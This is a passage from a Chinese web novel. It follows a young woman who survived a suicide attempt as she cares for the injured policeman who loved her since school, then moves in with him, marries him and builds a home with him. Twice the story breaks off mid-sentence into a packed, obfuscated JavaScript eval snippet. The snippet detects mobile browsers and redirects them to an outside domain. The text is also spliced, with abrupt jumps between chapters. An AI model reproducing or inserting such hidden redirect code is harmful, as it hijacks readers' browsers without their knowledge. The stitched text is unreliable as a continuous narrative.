时隔多年，我们再次见面，她竹筒倒豆子般把许锺琛如何暗恋我的事情全说了，以前许锺琛不许表妹胡来，严令禁止她打扰上学的我，现在我既然没有在上学了，她说出来也不算对表哥食言。更何况，她也没想到她哥至今还惦记着我，她确实心疼表哥，这样默默付出的一个人，就应该让别人知道呀。 我同意林月欣的观点，也同意许锺琛的做法，如果我过早知道他在背后为我做的一切，那时的我说不定听了传闻认为他只是花心才追我，成年后的我知道这些事情，反而将将好，完全看到了他纯粹的心意。 林月欣可有眼力见了，她求我帮忙照顾一下许锺琛，她要回家去换洗衣服什么的，还有很多事要做，就麻烦我暂时陪陪她的表哥。她正好也累死了，想回去休息一下。 我表明这是应该的，他因为我而受伤，我理当照顾他。 我们达成共识的那一刻，林月欣欢呼一声，跳起来与我击掌。 病房里没了其他人，我慢慢坐得离许锺琛很近，青年时候的他已经褪去了少年的青涩，那股莫名的花心气质少了很多，长得端庄内敛多了，其五官神态与他的父亲很像，不同的是，他父亲反倒有老实人那种踏踏实实的感觉，他们的长相都很耐看。我打开了放在他枕头边上的怀表，再次看了看他父亲的容颜，也看到了他母亲微笑依赖着丈夫的模样，他们看起来很恩爱，感情融洽。 也许是在父母的影响下，许锺琛对待感情也是忠贞不渝的。 我观察了片刻许锺琛身上的刀伤，直感觉到疼痛，重叠的白纱布上面渗着血，伤口也正在愈合。想起我和中老年许锺琛经历的那些事情，我自然而然地握住了青年的手，祈祷他快些醒来，早日康复。 我知道他没有生命危险是一定会醒的，所以没有那么担心，只是心存愧疚。如果我没有进入他的梦境里告诉他，我自杀的事，他很可能不会在应对突发事件时而分心挨了刀子，我不禁向他道歉。 我摸了摸许锺琛的额头，也用下巴轻轻碰了碰他的手背，开始碎碎念地讲起我和他的灵魂之间发生的故事，企图以此唤醒昏迷的他。 下午，我的身后突然传来一阵热闹的说话声响起，几个穿着便装和警察制服的男女进了病房探望许锺琛，我连忙撒手正襟危坐，他们纷纷与我客气地打了个招呼，起初都以为我是许锺琛的亲戚，直到许锺琛之前派来阻止我自杀的同事认出我是隔壁病房的人，他就跟同事们再次说起了许锺琛如何受伤的事情。 这位警察同事尤其是对我说，之前他们以为许锺琛在发神经：“锺琛一直念二〇〇四年五月六日的日期和你家的租房地址，心急如焚地说你快自杀了，没想到你是真的有事!真是奇了怪，他怎么知道你在那个世界要出事，难道你们两个有心灵感应？还是说你在他执行任务之前给他打过电话，发过消息？我那天一直跟他在一起，没看见你们打电话发消息啊。” 一言难尽的我暂时一笑而过，过了会儿，便摸摸头发找借口说，我在事发前夕跟许锺琛说过不开心的事情，他担心我…… 他们觉得这个解释比较合理。 我能下床走动之后，总是往许锺琛的病房里跑，没少被满秋和林月欣打趣，我也见到了许锺琛的姨妈和姨丈，他们正处于催许锺琛结婚的阶段，两位长辈从不同的人嘴里了解到这两场事故后，他们没责怪我，见了我反而亲切得不行，似乎想赶快给许锺琛找到一个合适的人家，就算是给他的父母有个交代了。 刚好他们从林月欣嘴里知道，许锺琛从小就喜欢我，我俩背景也差不多，都是没爹没妈的孩子，在条件上挑不了那么多，便一心想撮合我们。林家父母叫我没事多来看看阿琛，等阿琛醒来，一起去他们家吃顿热闹饭。 他们在病房里没待多久，也都回避着想给我和许锺琛独处的时间，就把照顾他的任务暂时交给了我。连满秋也被林月欣拉走了，大家叫我有事就打电话，有什么需要，他们再过来帮我们。 我能和年轻的许锺琛静静独处，是难得的机会，也想培养一下感情，想着等他醒来以后，我该如何与他相处。 我照顾许锺琛的第二天，他从昏迷中苏醒了，他刚醒来的状态与我很像，似乎忘记了自己是谁，躺在哪里……他半睁眼睛观察着周围，左右看来看去，看到我握着他的手时，他凝视着我的手发上了呆，一副在思考他是不是还活着的表情。 “阿琛，你醒了吗？”我在许锺琛的面前挥了挥另只手，他却下意识想要握住我松开的手，待清醒了些，他顿住了手，逐渐睁大眼睛看了看我的眼睛，他嘶哑地说道：“李……李菲比？你没事吧？你怎么在这里？!” 许锺琛竟然一眼就认出了我，我心情愉悦地说：“我是李菲比，我在呢，我没事啊我都快出院了，多亏了你，我自杀肯定不会成功……我听说了你果真来救我的事情，就来看一看恩人啊。” “这一切居然是真的，我真的救到了你!我终于报恩了……”他突然坐起来激动地给了我一个拥抱，却因扯到伤口，嘶了一声。我扶着他坐好，他也为刚才抱了我一下而羞涩。我在旁边事无巨细地照顾他，他受宠若惊，不知所措地注意我。 我来不及和他讲太多事情，想到要通知护士和医生，以及他的家属，就忙着按床头呼叫铃。 许锺琛安静地坐在床上观察我，不住地上下打量我。良久，他说我长大后的样子，果然跟他梦境里的长相一模一样，因为他当年梦醒以后不只是写下了日记，还为我画了一张素描画，改天他给我看看。 他还想知道为什么能这样梦见我？ 我知道他有满腹狐疑想要和我沟通，可是现在不是叙旧的时刻，病房里鱼贯而入的人们都在查看他的病情以及庆祝他的醒来。他们忙忙碌碌之中，也没有忘记把注意力放在我身上，还有人起哄把我推到阿琛身边，他耳根子都有些发红了，我一时受不了这么热闹的关注，拉着满秋去办自己的出院手续了。 我离开之前，在许锺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那一天，我不只是在房东太太家做了一次保洁员，替她打理每个房间，跪地擦地板，并把角落里的卫生都做好了。我还坚持做饭给老太太吃，她吃着饭与我唠嗑了起来，她瞅见我这认错的态度这么叫人舒心，便声称她不会赶走我的，会继续把房子租给我的，顺便夸我这么讲卫生的一个姑娘，把她的租房保持得干净整洁，她才不想租给其他不讲卫生的人，遇到下一个好租客就像在抽奖似的。更何况看我的样子，也肯定不会再在她的租房里胡来了。 房东太太给我碗里也夹了肉，她亲热地同我说，哪儿的租房环境有她这里这么好，划算且风水好。接着她便讲起，真是神了，她梦见有人跟她说，她的租客自杀了，她醒后马上去了租房，敲不开门，叫我也没答应，连忙拿钥匙打开门一看，满屋的煤气味，我躺在那里出气多进气少，吓死人了…… 老太太就爱讲这些事情，一顿饭没吃完，就重复讲了好几遍。我在医院听了一遍，在她家听了一遍，后来还从邻居那里听了无数遍。 我是真的想搬家了，却无法放弃价格实惠、环境和光线又好的租房。此刻内向的我只央求房东老太太，别再出去把这事讲给别人听，我没脸见人，再次想死的心都有了。 房东老太太不好意思地说，她早就跟大家讲过几遍了，她那些老姐妹也爱听这种事，然后那些老姐妹也传来传去，她们管不住嘴，四处跟人唠嗑房东太太白日梦成真这件神奇的事，搞得附近人人都知道我自杀未遂的事情。 苍天啊。 27.告白 次日，满秋起床以后，我也跟着起床梳妆打扮，她见我化妆笨手笨脚的便夺过粉刷帮我化妆，她八卦地问我和许锺琛真的开始发展感情了？ 这种事自然要告诉好朋友啦，我承认了。 在这件事上，满秋没有林月欣那么能起哄，她最多为我打扮时调侃几句，顺便说了几句许锺琛各方面都不错，两人情投意合的话是应该及时珍惜眼前人，她还自告奋勇地帮我搭配衣服。 在大城市生活过的这个女孩子很会做造型，她将自己的衣服借给我穿了，把我浑身上下打扮得比较复古经典，很有旧世纪的质感，她觉得这种风格符合我的气质，劝我以后可以考虑买这种样式的衣服。 我和满秋一起出门坐公交车，刚好能坐同一辆汽车，路上她说再待几天她就得回省城了。我下意识抓住她的手：“怎么这么早回去？多玩几天嘛。” 她揉了揉我的脑袋安抚我，无奈地说，她本来也计划整个暑假都待在老家，但是她妈妈生病了不太舒服得做一个小手术，爸爸工作比较忙，她只能提前回去照顾妈妈了。 我关心道：“什么小手术？没事吧？” 她的眼神透着担心，口气故作轻松：“没什么大问题，妈妈的胸里面长了个良性硬块，切除就好了。” 我说，等你们做完手术了给我报个平安。她答应了请我放心，还说她以后放假有空了就来找我玩，我想她了就给她打电话聊天，不是还有网络软件能聊天吗？总能一直保持联系。 我默默地点点头，心里已经提前开始不舍得了，淡淡的忧愁在不知不觉中宛若爬山虎爬到了我的脸上，她见了搞怪逗我笑。稍后她讲道，她妈妈和爸爸更年期到了老吵架，所以妈妈的□□才被气出了硬块，女人真的别老为不值得的人事气自己，气坏了身体为难的是自己。她其实也是不想待在夫妻发动战争的家里，才出来透透气了，不过他们养育她这么久，她怎么能不多多承担家庭的责任呢？有一对吵闹的父母也是有的忙，她根本不愁没事干，总算是有归属感。 看来我也不好再挽留满秋了，我真的很享受有人陪我一起同食共寝的感觉，我既喜欢安静需要独处，有时也需要合适的人陪伴我。满秋打趣我说她不在的时候，我可以去找许锺琛。我哼了一声说，这是迟早的事。 满秋离去的那天，我也只能陪伴她去车站坐长途公交车为止，并买了很多零食递上送送行，怕她在车上饿肚子，这时候我想，如果我有一辆车亲自送她回家那该多好啊。 第一天知道旧友将要离去的事，影响了我的心情。使得那天我上门去找许锺琛约会也没有太高兴，不过起初有一件小事，令我们笑了一会儿。 我到五楼按了门铃就去看猫眼，想观察里面的情况，哪知许锺琛也同时在看猫眼，我俩同时堵住了猫眼，他看到外面是黑漆漆的，以为谁在恶作剧就没开门。直到我再次敲门提高声音说，是我啊，我是李菲比，我来了! 许锺琛才迅速开门，见到是我在外面，他一副很吃惊的样子，接着脸上的表情很快变得愉悦，又逐渐有些慌乱，他请我进去在客厅等一会儿，就匆匆跑去收拾暂时休息的房间。他最近受伤了使他懒得时刻保持整洁，房间乱七八糟，他怕我看见这样的房间影响对他的印象，他知道我很爱整洁，他平时也是，我俩并且有同一个习惯，不喜欢别人动自己的东西。 他本来以为我那天不找他玩了，他才颓废了起来，忍不住揣测是他哪里没做好吗？难道是因为分别前他抱得我不够舒服？还是抱得太紧了？或是他的背影不好看？ 这是他和我在一起以后提到的小事，我知道的时候没忍住笑了，看来当时是他喜欢我更多，忍不住七上八下地揣测对方在想什么。 许锺琛收拾好了房间才为我端来一杯茶，开始给我讲他为什么要看过猫眼才开门，因为他小时候一个人待在家里的时候，有几次外面频繁响起莫名其妙的敲门声，但是猫眼被人堵住了看不见外面，外面未知的人还用收音机放婴儿的哭声。在他爸爸平时教育的影响下，他一下子就知道外面是坏人，并且很有可能是人贩子。 那阵子将他吓得晚上做噩梦，醒来后他都不敢一个人睡，半夜跑到爸爸妈妈中间挤进去找安全感，还把他们吓到了，他爸下意识一脚就把他踹到了墙上去，他妈也吓得尖叫，他就知道他在他们中间是多余的了。最后家门口安装了监控，就再也没有这种事情发生了，不过爸爸妈妈有时候也会来房间陪陪他，那会儿是他的童年最温馨的时候。 我们那天也就在家看看电影和下棋，同时东拉西扯地闲聊很久。他看出来我不太开怀，便问起原因，我闷闷地诉说了满秋待不久要走的事，他就说改天他来我家玩啊。 于是，在满秋收拾包袱离去后，许锺琛如约而至，我们连续约会多日，逐渐了解了彼此的很多事情，当然他的事情我差不多早就知道了。他很期待吃我亲手做的饭，我做饭不太美味能吃就行，他很给面子吃得有滋有味，带壳的鸡蛋吃了，煎焦的鸡翅吃了，咸的汤喝了，没什么味道的炒肉也吃了，每盘菜几乎光盘。 我在天使阿琛那里吃过的饭菜才是人间美味，我有自知之明地表示自己做饭难吃，我自己一个人都是随便应付，三天两头煮泡面和煎蛋吃。我说，我们也可以出去吃。但我们出去吃饭他都抢着付钱，我想回请都没机会，他不是趁上厕所结账，就是一副警察办公的严肃模样示意收银员收他的钱。 后来我不想出去吃了，许锺琛便买了食材来我家做饭，他说挺享受我做饭给他吃的，有一种幸福的感觉，不过我不想做饭的话，以后他来做饭就好，他特别喜欢下厨，平时没事也在家里钻研厨艺呢，他相信我吃他的饭也会有种幸福的感觉，他对其他事可能没多大自信，但对于健身运动、爬山和做饭这几方面来说，他的自信心很足。 我喜欢阅读书籍，许锺琛也会陪我在客厅一起安静地看书，我们什么书都看，正是在我们同时阅读关于爱情书籍的时刻，他终于鼓起勇气启口问我，要不要做他女朋友？我俩试试交往？他从上学的时候就已经开始喜欢我了，真心喜欢了我很多年。 我翻着书页，想都没想就答应了。他在欣喜之余，非常好奇地问我怎么自从在医院醒来过后，就开始主动靠近他并回应这份感情呢？真的只是因为救命之恩吗？他不只想要我的报答，他想要我真正的喜欢上他。 于是我搁下书籍，在沙发上勾搭住许锺琛的脖子，朝他温热的嘴唇亲了上去，我是第一次也是第二次主动亲吻了他，他下意识搂住我的腰接受这出乎意料的初吻，他被我吻得面红耳赤。这个吻结束后，我们的鼻息呼在彼此脸上，我抚摸着他棱角分明的脸庞，靠得他很近地说：“身体是不会骗人的，我真的喜欢你，我也不是在报答你，我是纯粹地心动了，喜欢需要什么理由吗？我不知道，反正就是喜欢了。” 他没忍住贴过来再吻了我片刻后，说道，他明白了。 情侣开始正式的约会，他也很想和我一起去做户外活动，比如爬山和露营。 我们约好了等他的伤口彻底痊愈之后，再去接触大自然运动。从此以后我们约会的话，的确时常一起携带登山杖去爬山，有时还要露营观星，或者在野外烧烤，我偶尔会叫上撮合我们的氛围组——月老林月欣。通常一身肌肉的许锺琛搬了大部分的重物，我把剩下能拿得动的东西都放到小推车里，从越野车附近把小推车推去选好的露营地。其实我也锻炼出了肌肉能搬得动他拿的东西，只不过他总是抢着承担重活儿，时时刻刻绅士地想着照顾我们女孩子。 夜晚，他会教我使用便携式观星望远镜，欣赏他认识的大部分星座，热情地邀请我看看它们的形状，耐心地讲述它们象征的意义。他嗓音悦耳地说，他最喜欢鲸鱼座、猎户座、射手座和天秤座，因为鲸鱼座是他妈妈喜欢的星座，爸爸最喜欢猎户座，他是射手座，而我是天秤座。 我本来以为许锺琛一直是住在他亲戚家里的，直到某日我一如既往登门拜访他，他却在勤快地收拾房间里的东西，微笑着说是要回家住了。他经常在自己家里和亲戚家里两头住，小时候是在亲戚家长住，成年以后他就渐渐搬回原来的家里住了，只是这阵子他受伤了以后，他才在亲戚多住了些日子。 然后许锺琛拎起行李问我，去不去他真正的家里看看？ 我顺口问，去你家看什么？ 他顺其自然地回答：去看看你爸爸的家。 我听了这话打开怀表看了看许爸爸，他也打开了自己的那块怀表，凑了过来将两条怀表并列到一起，含笑说：“也许是爸爸在天之灵，能让我们在不同的时间相遇走到一起，他为我找到了能终身厮守的人。” 我突然回想种种因缘际会，觉得不只应该感谢我们各自和爸爸，还要感谢逞美呢。 许锺琛家住在学校附近陈旧的小区里，他提醒我想去哪个房间看看都可以，我观察着他从小到大生活过的地方，从小区楼下就开始东张西望地观察了，他们住的小区绿化茂盛，就像在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633974|172519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绿意盎然的清新公园里一样，不像其他小区光秃秃的什么绿化都没有。 在许锺琛的带领下，我来到了他不大不小的卧室，他想邀请我来之前大约收拾过了，男生的房间简洁干净，一米八的木床靠白墙摆放，清爽的室内从而空出了很多空间，靠窗的书桌上物件整齐，从此望去，能看到外面高高低低的斑驳楼房和远处连绵起伏的山景。 阿琛的房间是我从小想象过的属于自己的小房子，完全是我的梦中情房。 我拿起许锺琛摆在桌上的班级合照和单人照片，回想起少年王罙的娇憨和不靠谱的模样，他以前委实有一副很花心的渣男气质，浑身痞里痞气的，不像是好东西。那时候的他还比较清瘦，却透着些拽拽的霸道，看起来像谈了很多女友的混子校霸。如今他五官深邃硬朗，身材高大健壮多了，人看着也就稳重了起来，只不过那种痞气还没有完全消散。 许锺琛从身后环住我，下巴磕在我的肩膀上说，以前我们仅有几面之缘，他就觉得我不好接近，我在他眼里是生人勿近的样子，我一副对他无感还嫌恶的模样，就跟其余把他当渣男的女生一样，他以前挺老实的没有勇气主动当面接近我。 这就叫表面上看着越花，实际上比谁都保守。 现在他出了社会摸滚打爬过了，也险些死了一次，他再不学会对我主动和及时抓住机会，就真是木鱼脑袋了。他本想慢慢来，不想引起我的抵触，不过这些日子他跟我相处下来，逐渐发现我很愿意靠近他，他才那么快鼓起勇气表白，甚至敢把我带到他家里来了，他总觉得把女人带到家里来是一件很隐私的事情。 然后许锺琛将我拉到客厅的墙边，上面有他们一家人的合照，他亲口明说，他爸爸本来要领养我的，可惜他爸在工作中出了意外，如果爸爸当时没死，这里早就是我的家。他父母也是很开明的人，想来也不会阻止做了兄妹的我们在一起。 此刻，他似是深思熟虑道：“菲比，我现在能帮爸爸完成这个遗愿吗？你能搬回家住吗？我把我家的房间租给你，很便宜的，你就不用在外面花那么多钱租房子了。我喜欢做饭，只需要你饭后洗个碗，这就是租金，你要是觉得洗碗麻烦，我再买个洗碗机，你把碗放进去就行了。” 他虽然这样说，但是日后他也总是把洗碗的活儿都一起干了。如果这时候林月欣在的话，肯定会说他开窍了。很久以后他说，他在家里练习了很多次才顺其自然说出来了。 许锺琛说着又把我引到另个已经布置好的房间里去了，这个房间原本是装修一般的客房，现在此处被装扮得比主卧还要像样，窗帘展开来是一幅有创意的画，房间里面有舒适的大床，粉白色图案的床单和被子，还有崭新的梳妆台看起来应该是刚买的，收拾好的壁橱里还有多件新买的衣服，连内衣都有。看到内衣，我和他都有些赧然，他还说那是他表妹林月欣跑去内衣店替我买来专门补上的。 许锺琛的表妹胜过亲妹，我和他在一起后，完全是多了一个贴心的妹妹来爱我。所以我也经常给林月欣买东西送礼。 我的内心深受触动，许锺琛和其妹都做到这个份上了，我要是驳了他们和爸爸的好意，心里会过意不去。 我本来想在租房里专心自主学习，考虑进修学历的事，可是当我主要听到这是许爸爸的遗愿，我就答应了男朋友搬回家里来住的事情。 我俩刚刚住在一起的那会儿，许锺琛没有那么习惯，在我的意识里我和阿琛生活过已经习惯了，而年轻的许锺琛起初有尴尬和不自在的时候，比如青涩的他偶尔会忘了我已经搬过来的事情，他洗完澡以后松松垮垮地围了条白浴巾就出来，有一次他没注意浴巾就在我面前一不小心掉了下来，窘迫的他马上捡起浴巾重新裹上回避到了房间里，而且一时半会儿没敢再出现在我面前。 我路过其房间门外调侃他，你身材挺好的，露出来养眼啊。他才松了一口气，因为他怕我觉得他是变态。他还说，幸好他喜欢锻炼，有腹肌的身材没有伤害我的眼睛。 又比如他半夜起来上厕所撒尿，习惯在家里不关门，等他清醒了些看到我出来倒水的身影，就连忙关门。 而我和他同居以后，喜欢做的最方便的一件事，就是随时索要拥抱。我依然喜欢和他抱来抱去，没事就向他伸手索要抱抱，之后他就每天都主动地抱我并亲亲我的额头、脸颊和嘴巴，再说一句咱们家菲比真可爱，真讨人喜欢。我也会夸赞他，我家阿琛也很帅气啊，脚踏实地且性格又好，谁不喜欢呢？ 28.终成眷属 毁灭一个人最狠的方式之一就是剥夺其念书受教育的机会。我怎么能剥夺自己读书受教育的机会呢？ 我和许锺琛的感情稳定以后，我考虑重新高考的事情，尽管我都二十出头了，学习起来吸收知识的能力也不强，但是我拥有随时学习知识的机会，年龄不是束缚，我决不错过热爱的知识海洋。 许锺琛很支持我报考的事，他抽空也会辅导我学习。他和梅香院长都愿意资助我学习，梅香院长是听说了这件事以后，为了表示心意，坚持拨了资金给我打了一笔补课的费用，还让我别为大学的费用费心，她会帮我提供各种证明，帮助我减免学费，并申请补助。 许锺琛也叫我别费心，他攒下来的工资为我提供学费和生活费都没问题。有政策的减免和补助，有梅香院长的资助，有我自己以前打工攒的钱，还有男朋友非要塞给我的零花钱，我重新上学上得挺滋润的，在物质上完全不愁，不只不拮据，还绰绰有余，也没有像以前那么省钱亏待自己了。 重活一次，我觉得我配得上所有美好的事物，我值得我想要的一切。 我终于考上了一所过得去的师范大学，虽然我来迟了好几年，总算完成了我以前的遗憾。是啊，过去所认为过不去的坎儿和大山，在如今看来不过是过路时脚下的一块儿小石头。 我上的大学在隔壁城市离家里不远，坐一个小时的车就到了，便常在家里和学校之间往返。许锺琛在这期间也不敢和我谈情说爱过于打扰我，在那几年，他白日和休息的期间基本上充当了我的家教，平时正经严肃甚至是有些严厉，我累了偷懒神游的时候，他还会凶我到底想不想专心念书？过上了好日子就懒起来了是吧？ 他凶过我之后，见我不开心生闷气了，他就围绕在周围哄我，哄得我继续心花怒放地学习。 除了晚上我们能当彼此的抱枕，卿卿我我地安抚着对方入睡，白天的时候我和他跟舍友没差别。 我们之所以睡到了一起，是因为一个炎热的仲夏夜，我为了解渴喝多了水，晚上忍不住频繁起来上厕所，结果发现许锺琛竟然半夜梦游，他身影悲伤地站在窗户前哭着喊妈妈。起初我不知道他在梦游，便屏声敛息地从身后拥抱了他好一会儿，待看清他的神情举止似乎是在梦游，我逐渐把他引回了房间的床上，心疼地把脑袋埋在他的胸膛上，就不知不觉趴在他身上抱着他睡着了。 第二天他很吃惊我怎么在他的房间里，我就把他梦游的事情讲了。 他便情绪低落地告诉我，他妈妈是跳楼自杀的。 我叹息说，我知道，我以前看过你的梦境。 他没有生气，而是说，所以他等了这么多年能够帮到我，他觉得他从这件事里吸取了力量，也算是解开了他的一半心结，让他不再觉得那么无能为力。 因此我一直没有告诉他，是我自己和房东太太抢先一步救了我，并且我也提醒过他的同事保密具体事宜。其实如果没有我和房东太太，他也能帮到我，属于是双重救护了，而且中老年阿琛在另一个层面确实引导了我，我当然把他们都归为救命恩人的行列。 后来我担心阿琛哪天再梦游会开窗掉到楼下，我与他商量着坚持要安装防盗窗，他只好同意了。 由于许锺琛晚上时常做噩梦，梦见他妈妈跳楼自杀的场景，我就慢慢地搬到他的房间里来睡觉，我们更近一步了，然而始终是单纯地相拥入眠，没有做过界的事，他最多亲吻我时抚摸一会儿我的身体。他想把第一次有仪式感地留到婚后，我却想到中老年的你已经把我染指了。 我也会做噩梦，常是梦见父母烧死的场景，每当我醒来看到许锺琛在身边一脸担忧地关心我，我感到有人陪伴很有安全感，犹如小鱼在水中自在地游泳，生命在空气之中呼吸，万物接受太阳的照拂。 夜晚我感到不安的时候，我会抱住许锺琛把鼻子埋在他身上闻来闻去，他身上有一股说不上来的香味，也不是香味，是一种让我感到愉悦的气味儿，就不由自主地想把鼻子埋在他的皮肤上细嗅。他也说过闻到我身上有淡淡的清香味，也喜欢把鼻子凑到我身上闻，我们犹如两条家养的感情要好的宠物爱闻彼此。我想起了灵魂阿琛所说的，生理性喜欢。 而且我自从和许锺琛在一起以后，很少再犯低血糖了，他会做饭督促我吃得饱饱的，也会把攒起来的糖果随身携带分给我吃。他小时候有低血糖，所以从小随身携带糖果，他其实没有那么喜欢吃糖，纯粹是因为以前低血糖犯了，才习惯吃上糖果补充体力。不过他长大以后低血糖就没再犯过了，好像身体能感应到他要当警察，就不再出来当绊脚石了。 在我大学毕业以后，许锺琛终于向我求婚了，他之前按耐着与我谈了那么久，只是不想使得我学习分心。 他在布置得浪漫的海边向我求婚时，说的第一句话是，我想给你一个家。这一句朴实的求婚表白，令我心里好像塞满了甜蜜的棉花糖，心脏就扑在那团粉色棉花里面，轻飘飘而舒适地跳动。 他买了好几万的订婚钻戒，比我有仪式感，我自己倒是觉得好几万的钻戒在自家的经济范围内，是买贵了。他却坚定地说：“李菲比，价值不菲、无与伦比的你值得更好的一切，我只是在我的能力范围内给了你相对来说较好的礼物，希望你别嫌弃，以后我攒到更多的钱了，等我们银婚和金婚纪念日，我再送你最好的礼物。” 我满心欢喜地说，只要是爱我的人送的礼物，都好啦。 我的朋友不多，许锺琛在订婚仪式上邀请来了满秋和林月欣，还有梅香院长、几位妈妈们和门卫爷爷，最后西伯利亚和刘逞美居然也来了! 他们跳出来纷纷拉开小礼花欢呼的那一刻，我感动哭了，不知道许锺琛是废了多少心思找到了我失散的老朋友们。 刘逞美在国外留学深造，近日正好回来休息，她不像小时候那么淑女，而是越来越慵懒风，一副怎么舒服怎么来的打扮。西伯利亚则是长得帅气了些，他的风格也越来越潮流了，在做街舞教练。西伯利亚锤了一下许锺琛的肩膀说，真是羡慕他，八辈子修来的福气，得到了他童年遥不可及的初恋。 我们一桌人吃饭聊天，叽叽喳喳地笑闹，许锺琛一边为我布菜，一边回应大家该如何筹备婚礼，邀请谁来当伴娘和伴郎……我幸福得快要昏死过去了。 林月欣在饭桌上举手说她一定要当伴娘，她可是最早为我们牵线的月老啊。她中学的时候一直在帮表哥照顾表嫂，三天两头买零食放在表嫂桌上 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我们结婚后第一次真实地同床共枕，许锺琛脱衣躺到我旁边来说，他是第一次很紧张，他片子看得少不知道该怎么做，然后问我是第一次吗？ 我下意识地摇了摇头，意识到什么又点了点头。 他看到了我的微摇头，语气大方地说道：“你跟我坦诚相见就好，在你没跟我交往之前，你有权利对你的身体做主，如果你不是第一次，虽然我会吃醋，但往好的那一方面想，那你还能教教我是吧。” 我听了阿琛的话，感觉很舒服，夸道：“你这几年情商见长了，这么会说话。我实话实说，我在现实里真的是第一次，我就是在梦里跟你做了第一次而已。” 他吃惊地转头看我，以为我在开玩笑，但也一副憋不住开心的表情，不可置信地说：“你真的做过有关于我跟你的春梦？这……你做春梦的对象真的是我吗？哄我玩的吗？”他又咳嗽了一声说，他在警校毕业以后跟同事和人民群众打交道，情商再不长，处理不好事情。 我拖起他的手放到我的心脏上去感受：“我梦里的第一次真的是给你了，我撒谎的时候心跳会加速，你感受到了吗？我的心跳如常。” 他再三问我，你真的做这种梦了吗？ 我不厌其烦地坦诚相见，真的，梦里你很会，我们睡得很舒服。 然后许锺琛不怀好意地靠近我，坏坏地问道，老婆，我们梦里是怎么做的呢？ 我故作平淡地说，就这样、那样做。 他明知故问，哪样做啊？ 我害臊地说，就那样啊…… 他突然翻身压住我吻了下来，并在我身上摸索着摩挲了一阵，磁性地问道，是不是这样？ 我微微颔首说，是这样的，传统姿势。 他继续问，接下来呢？ 然后我还真是一步步教他，他很听指导，顺其自然地与我在现实里完成了真正的夫妻同房，不过他确实很青涩和笨拙，总找不到合适的运动地点，我俩摸黑研究了半天，他想要开灯方便看得清楚，我不同意，还没有到达那种没羞没臊的程度。 我们半夜折腾完羞涩的第二次，我又跟他讲起了我灵魂出窍时经历的各种事，一个讲到睡着，一个听到睡着，在梦里都是我们恩爱相守的美梦。 29.我是幸福 我和许锺琛结婚以后，他果然如同灵魂阿琛，我们一起洗澡以后，他会帮我洗头并吹干头发。早上起来他也会为我梳头发，帮我化妆打扮，主动给我买很多各式各样的漂亮衣服。我也会回报着照顾他，学上他时不时准备惊喜送礼物，我们的夫妻关系如琴瑟调和，扶持着彼此度过人间的春夏秋冬。 我便将我的灵魂遇到另个他的事陆陆续续地说了，许锺琛一边吸收一边消化，最后还拿笔记本记录了下来，他说这也是属于我们之间的回忆当然要记下来了。 我们婚后过的第一个年，更有年味了，毕竟彼此有了一个真正属于自己的小家庭，我们一起搭配干活，做饭炒菜，最后吃上热乎的年夜饭，客厅的电视剧里放着热闹的节目，我和他一边看电视，一边吃饭聊天。 各自一前一后吃饱了饭，我们就出门去夜景绚烂的滨河边放烟花，县城里很多人都来这里放炮，还有值班警察巡逻维持治安。许锺琛帮我点燃一支长长的烟花炮，我们就一起拿着手持烟花对着滨河之上的天空。等到了十二点那一刻，他点燃百来块的礼花炮，及时回到我的身边环住我，并亲了亲我的侧脸和嘴巴说，菲比，新年快乐！我祝福你在人间度过的每天都是幸福又幸运的。 我噘嘴也回亲了他几下说，阿琛，新年快乐！我很幸福啊，也早就开始幸运，我已经变成了幸福本身，我就是幸福，更何况如今身边有你，我是幸上加幸啦。 年轻夫妇欢欢喜喜地放完炮，就你追我赶地奔回家，洗完澡我们在沙发上熬夜看了会儿电影，再回房夜谈着渐入梦乡。 隔日，许锺琛还会陪我回福利院看望各位长辈和孩子们，进行捐赠，我和他分别动用自己的小金库捐了金钱和物资，回馈社会。 他牵着我在院儿里四处溜达，喜欢反复观察我生活过的地方，问东问西的同时，心疼我是怎么过来的，我也心疼他帮着把自己养大了。我还同他回忆起，我和满秋调皮捣蛋合起伙来整蛊暴躁保姆的事，那个保育员阿姨很容易不耐烦，有几回下重手殴打我和满秋，我俩就趁她上厕所锁住门，并在门外怪声怪气地叫她，海妖婆，你是母夜叉变得吧!赶快回到你老家的大海里去捕鱼吃，等你捕不到鱼，看你的龅牙鲨鱼老公来了你怎么办!你家龅牙鲨老公会说，我活吞了你! 暴躁保姆一下子就猜出是我和满秋在搞鬼，她气恼地大叫我们的名字说，不把我俩打服，她就不在院儿里混了。我和她惊叫一声就跑去藏了起来，藏得大人们四处找我俩。 许锺琛笑起来捏了捏我的脸颊说，没想到我有这么调皮的时候。我也笑着说，是啊，哪像他小小年纪就有网瘾，竟然敢从学校三天两头翻出去上网，真应该把他丢到大海里面去被电鳗好好电一电。 他不正经地说用我的身体电他就够了，他现在电脑都懒得碰，就爱碰我。 我生怕旁人听到这些污言秽语，立即捂住了他花言巧语的嘴，他还玩世不恭地吻了吻我的手心。 谈到大海，我和许锺琛想工作攒钱，靠彼此的力量在海边买一套新房子。后来我们在附近的海岛上一起买了三套一的房子，面积不算大，这是我和阿琛共同买下的新家，住着更有属于我的房子的感觉。 许锺琛把原来的旧小区那套房租给了别人，用租金来补贴我们的日常生活，我们赚的工资通常一半存着，一半捐给福利院。 在岛上装修好了我和许锺琛未来的家，我才发现这是当初我灵魂出窍的时候，住在天使阿琛家里的样子。原来那个房子的装修风格，是我们结婚后住的房子。 